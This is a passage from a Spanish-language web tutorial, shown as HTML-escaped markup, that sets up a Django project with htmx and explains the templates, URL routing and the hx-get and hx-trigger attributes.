}&#xA;&lt;/style&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-8672022193&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;8672022193&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;style&gt;&#xA;&#xA;  .google-ads-container-8672022193{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-8672022193 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;    .banner{&#xA;      width: 273px;&#xA;      height: 34px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-8672022193 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&#xA;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;python manage.py makemigrations&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;python manage.py migrate&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;python manage.py createsuperuser&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Dentro de la carpeta &lt;em&gt;djangoHtmx&lt;/em&gt; modificaremos el archivo &lt;em&gt;urls.py.&lt;/em&gt;&lt;/p&gt;&#xA;&lt;p&gt;Vamos a crear las urls para la ruta &lt;em&gt;home/&lt;/em&gt; y posteriormente crearemos urls para nuestra app bajo la ruta &lt;em&gt;videogame/&lt;/em&gt;&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;from&lt;/span&gt; django.contrib &lt;span style=&#34;color:#ff6ac1&#34;&gt;import&lt;/span&gt; admin&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;from&lt;/span&gt; django.urls &lt;span style=&#34;color:#ff6ac1&#34;&gt;import&lt;/span&gt; path, include&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;from&lt;/span&gt; .views &lt;span style=&#34;color:#ff6ac1&#34;&gt;import&lt;/span&gt; home&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;from&lt;/span&gt; videogameStore.urls &lt;span style=&#34;color:#ff6ac1&#34;&gt;import&lt;/span&gt; urlpatterns &lt;span style=&#34;color:#ff6ac1&#34;&gt;as&lt;/span&gt; videogameUrls&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;urlpatterns &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; [&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    path(&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;&amp;#39;&lt;/span&gt;, home, name&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;home&amp;#34;&lt;/span&gt;),&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    path(&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;admin/&amp;#39;&lt;/span&gt;, admin&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;site&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;urls),&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    path(&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;videogame/&amp;#39;&lt;/span&gt;, include(videogameUrls)),&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;]&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Ahora creamos una carpeta &lt;em&gt;templates&lt;/em&gt; en la raíz del proyecto y vamos a crear una plantilla base que llamaremos &lt;em&gt;base.html&lt;/em&gt; y otra plantilla, que heredará de esta última, llamada &lt;em&gt;home.html&lt;/em&gt;, la cual usaremos en la vista home.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;mkdir templates&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;cd&lt;/span&gt; templates&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;touch base.html&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;touch home.html&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-1124666671&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;1124666671&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;style&gt;&#xA;&#xA;  .google-ads-container-1124666671{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-1124666671 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;        .banner{&#xA;      width: 273px;&#xA;      height: 34px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-1124666671 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&lt;h2 id=&#34;instalando-htmx&#34;&gt;Instalando htmx&lt;/h2&gt;&#xA;&lt;p&gt;Abrimos el archivo &lt;em&gt;base.html&lt;/em&gt; y colocamos el siguiente código. Observa como &lt;strong&gt;para usar htmx basta con cargarlo desde unpkg&lt;/strong&gt; usando una etiqueta script. En este tutorial estamos usando la versión 1.4.1 de htmx&lt;/p&gt;&#xA;&lt;p&gt;Mantendremos una estructura muy simple para la plantilla base, con solo las etiquetas header, body y footer&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-html&#34; data-lang=&#34;html&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;&amp;lt;!DOCTYPE html&amp;gt;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&amp;lt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;html&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;lang&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;en&amp;#34;&lt;/span&gt;&amp;gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&amp;lt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;head&lt;/span&gt;&amp;gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &amp;lt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;meta&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;charset&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;UTF-8&amp;#34;&lt;/span&gt;&amp;gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &amp;lt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;meta&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;name&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;viewport&amp;#34;&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;content&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;width=device-width, initial-scale=1.0&amp;#34;&lt;/span&gt;&amp;gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &amp;lt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;title&lt;/span&gt;&amp;gt;{% block title %}{{ site.name }}{% endblock %}&amp;lt;/&lt;span style=&#34;color:#ff6ac1&#34;&gt;title&lt;/span&gt;&amp;gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    {% block meta %}&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;      &amp;lt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;meta&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;name&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;theme-color&amp;#34;&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;content&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;#333333&amp;#34;&lt;/span&gt;&amp;gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;      &amp;lt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;meta&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;name&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;msapplication-TileColor&amp;#34;&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;content&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;#2b5797&amp;#34;&lt;/span&gt;&amp;gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;      &amp;lt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;meta&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;name&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;apple-mobile-web-app-capable&amp;#34;&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;content&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;yes&amp;#34;&lt;/span&gt;&amp;gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;      &amp;lt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;meta&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;name&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;apple-mobile-web-app-status-bar-style&amp;#34;&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;content&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;black&amp;#34;&lt;/span&gt;&amp;gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;      &amp;lt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;meta&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;name&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;apple-mobile-web-app-title&amp;#34;&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;content&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;{{ site.name }}&amp;#34;&lt;/span&gt;&amp;gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;      &amp;lt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;meta&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;property&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;og:type&amp;#34;&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;content&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;website&amp;#34;&lt;/span&gt;&amp;gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;      {% endblock meta %}&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &amp;lt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;script&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;src&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;https://unpkg.com/htmx.org@1.4.1&amp;#34;&lt;/span&gt;&amp;gt;&amp;lt;/&lt;span style=&#34;color:#ff6ac1&#34;&gt;script&lt;/span&gt;&amp;gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&amp;lt;/&lt;span style=&#34;color:#ff6ac1&#34;&gt;head&lt;/span&gt;&amp;gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&amp;lt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;body&lt;/span&gt;&amp;gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    {% block header %}{% endblock header %}&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    {% block body %}{% endblock body %}&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    {% block footer %}{% endblock footer %}&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&amp;lt;/&lt;span style=&#34;color:#ff6ac1&#34;&gt;body&lt;/span&gt;&amp;gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&amp;lt;/&lt;span style=&#34;color:#ff6ac1&#34;&gt;html&lt;/span&gt;&amp;gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-5272667386&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;5272667386&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&lt;style&gt;&#xA;  .google-ads-container-5272667386{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-5272667386 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-5272667386 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&lt;h2 id=&#34;atributos-mas-utiles-de-htmx-para-django&#34;&gt;Atributos más útiles de HTMX para Django&lt;/h2&gt;&#xA;&lt;p&gt;Abramos el archivo &lt;em&gt;home.html&lt;/em&gt;. Extendemos de la plantilla &lt;em&gt;base.html&lt;/em&gt; y reemplazamos la etiqueta body con una presentación simple y nuestro primer botón con Htmx.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;{&lt;span style=&#34;color:#ff6ac1&#34;&gt;%&lt;/span&gt; extends &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;base.html&amp;#34;&lt;/span&gt; &lt;span style=&#34;color:#ff6ac1&#34;&gt;%&lt;/span&gt;}&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    {&lt;span style=&#34;color:#ff6ac1&#34;&gt;%&lt;/span&gt; block body &lt;span style=&#34;color:#ff6ac1&#34;&gt;%&lt;/span&gt;}&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;lt;&lt;/span&gt;div &lt;span style=&#34;color:#ff5c57&#34;&gt;id&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;videogame-list&amp;#34;&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;gt;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;lt;&lt;/span&gt;h1&lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;gt;&lt;/span&gt;Welcome senpai&lt;span style=&#34;color:#ff5c57&#34;&gt;!&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;lt;/&lt;/span&gt;h1&lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;gt;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;lt;&lt;/span&gt;p&lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;gt;&lt;/span&gt;Check out our summer discounts (&lt;span style=&#34;color:#ff5c57&#34;&gt;✿◠‿◠&lt;/span&gt;)&lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;lt;/&lt;/span&gt;p&lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;gt;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;             &lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;lt;&lt;/span&gt;button hx&lt;span style=&#34;color:#ff6ac1&#34;&gt;-&lt;/span&gt;get&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;{&lt;span style=&#34;color:#ff6ac1&#34;&gt;%&lt;/span&gt; url &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;videogameList&amp;#34;&lt;/span&gt; &lt;span style=&#34;color:#ff6ac1&#34;&gt;%&lt;/span&gt;}&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;               hx&lt;span style=&#34;color:#ff6ac1&#34;&gt;-&lt;/span&gt;trigger&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;click&amp;#34;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;               hx&lt;span style=&#34;color:#ff6ac1&#34;&gt;-&lt;/span&gt;target&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;#videogame-list&amp;#34;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;               hx&lt;span style=&#34;color:#ff6ac1&#34;&gt;-&lt;/span&gt;push&lt;span style=&#34;color:#ff6ac1&#34;&gt;-&lt;/span&gt;url&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;true&amp;#34;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;               hx&lt;span style=&#34;color:#ff6ac1&#34;&gt;-&lt;/span&gt;swap&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;outerHTML&amp;#34;&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;gt;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;                Go to discounts&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;lt;/&lt;/span&gt;button&lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;gt;&lt;/span&gt;           &#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;lt;/&lt;/span&gt;div&lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;gt;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    {&lt;span style=&#34;color:#ff6ac1&#34;&gt;%&lt;/span&gt; endblock body &lt;span style=&#34;color:#ff6ac1&#34;&gt;%&lt;/span&gt;}&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;El botón va a tener cuatro atributos, cada botón le va a especificar una serie de comportamientos: hx-get, hx-trigger, hx-target, hx-push-url&lt;/p&gt;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-8811585000&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;8811585000&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&lt;style&gt;&#xA;  .google-ads-container-8811585000{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-8811585000 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-8811585000 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&#xA;&#xA;&lt;h3 id=&#34;hx-get&#34;&gt;hx-get&lt;/h3&gt;&#xA;&lt;p&gt;Aquí colocaremos la url a la que haremos la petición. Observa como incluso podemos generarla de manera dinámica usando la etiqueta &lt;em&gt;{% url %}&lt;/em&gt; que provee django.&lt;/p&gt;&#xA;&lt;p&gt;hx-get es uno de los atributos que se encargan de realizar peticiones AJAX, los otros son hx-post, hx-put, hx-patch y hx-delete, que realizan peticiones POST, PUT, PATCH y DELETE, respectivamente.&lt;/p&gt;&#xA;&lt;h3 id=&#34;hx-trigger&#34;&gt;hx-trigger&lt;/h3&gt;&#xA;&lt;p&gt;Será la clase de evento que desencadenará la petición, un click en este caso. Sin embargo podemos usar &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://developer.mozilla.org/es/docs/Web/Events&#34; rel=&#34;noopener&#34; target=&#34;_blank&#34;&gt;otros eventos&lt;/a&gt;&#xA; tales como mouseenter, mouseleave, keyup, etc.&lt;/p&gt;&#xA;&lt;p&gt;Hay una serie de eventos especiales disponibles también:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;load: se activa cuando carga un elemento&lt;/li&gt;&#xA;&lt;li&gt;revealed: cuando un elemento se muestra en el viewport&lt;/li&gt;&#xA;&lt;li&gt;intersect: se desencadena cuando un elemento intersecta con el viewport&lt;/li&gt;&#xA;&lt;li&gt;every ns: cada cierto tiempo (ej. every 2s, every 10s)&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;Si no especificamos un evento la librería tomará ciertos eventos de manera predeterminada para realizar la petición AJAX.&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Los campos de formulario desencadenarán la petición con el evento change&lt;/li&gt;&#xA;&lt;li&gt;Los formularios con el evento submit&lt;/li&gt;&#xA;&lt;li&gt;El resto de elementos con un click&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;Estos eventos cuentan con modificadores que retardan un evento o impiden que se ejecute más de una vez.&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;changed: realiza la petición solo si el elemento cambió&lt;/li&gt;&#xA;&lt;li&gt;delay: retrasa la ejecución de la petición&lt;/li&gt;&#xA;&lt;li&gt;throttle: igual que delay, pero rechaza nuevos eventos si no ha pasado el tiempo especificado&lt;/li&gt;&#xA;&lt;li&gt;from: permite escuchar el evento desde otro elemento. Recibe un selector CSS (Ej. #id)&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;h3 